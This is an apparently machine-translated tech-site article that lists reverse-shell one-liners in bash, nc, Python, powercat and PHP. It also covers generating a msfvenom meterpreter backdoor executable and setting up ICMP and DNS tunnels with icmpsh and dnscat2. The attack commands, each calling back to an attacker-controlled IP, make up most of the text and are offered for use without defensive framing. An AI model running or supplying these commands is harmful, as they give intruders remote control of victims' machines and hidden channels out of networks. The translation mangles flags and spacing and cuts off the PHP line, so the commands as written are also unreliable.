Shulou(Shulou.com)05/31 Report--

This article will explain in detail what you have about the rebound shell, the editor thinks it is very practical, so share it with you as a reference. I hope you can get something after reading this article.

1.bash bounces bash-I > & / dev/tcp/ip_address/port 0 > & 1

2.nc rebounded nc-e / bin/sh 192.168.2.130 4444

3.pythonimport socket,subprocess,oss = socket.socket (socket.AF_INET,socket.SOCK_STREAM) s.connect (("192.168.2.130", 4444)) os.dup2 (s.fileno (), 0) os.dup2 (s.fileno (), 1) os.dup2 (s.fileno (), 2) p = subprocess.call (["/ bin/bash", "- I"])

4.powercatImport-Module.\ powercat.ps1powercat-c 192.168.2.130-p 4444-e cmd.exe

5.msf generates exe backdoor msfvenom-p windows/meterpreter/reverse_tcp LHOST=192.168.2.130 LPORT=4444-f exe > shell.exe6.php bounces shellphp-r'$sock=fsockopen ("192.168.2.130", 4444); exec ("/ bin/sh-I & 3 2 > & 3");

7.ICMP closes icmp response, otherwise shell keeps jumping, and the restore is 0sysctl-w net.ipv4.icmp_echo_ignore_all=1python icmpsh_m.py source destination python icmpsh_m.py 192.168.2.137 192.168.2.135

Run on windows7:

Icmpsh.exe-t 192.168.2.137

8.DNS

Https://downloads.skullsecurity.org/dnscat2/

Here we use dnscat2, which is downloaded here, divided into windows and linux versions, server and client.

And it is recommended to use vs2008 to compile

Install git clone https://github.com/iagox86/dnscat2.gitcd dnscat2cd serversudo gem install bundlerbundle installsudo ruby. / dnscat2.rbkaliruby dnscat2.rb-- dns host=0.0.0.0,port=53531ruby dnscat2.rb-- dns server=23.105.193.106,port=533,type=TXT-- secret=123456 (key) ruby dnscat2.rb xxx.com

In windows7:

. / dnscat-- dns server=192.168.2.130,port=53531./dnscat-- dns server=192.168.2.130,port=53531-- secret=qwer1234 (key). / dnscat xxx.com after a successful connection

View record

Select connection

Use shell

Return to select shell

Execute a command

Other commands quit (exit the console) kill (interrupt channel) set (set value, for example, set security=open) windows (list all channels) window-I (connect a channel) after connecting the channel Using help, you can also see the commands supported in it (a single command followed by-h will also explain the command): clear (clear screen) delay (modify remote session timeout) exec (execute programs on remote machines) shell (get a bounce shell) download/upload (upload and download files between two ends) supend (return to the upper layer Equal to the shortcut key ctrl+z) DNS tunnel forwarding listen 127.0.0.1 listen 6666 192.168.2.135ctrl+z local machine can access port 80 on the "bounce shell what" this article is shared here, I hope the above content can be of some help to you, so that you can learn more knowledge, if you think the article is good, please share it out for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.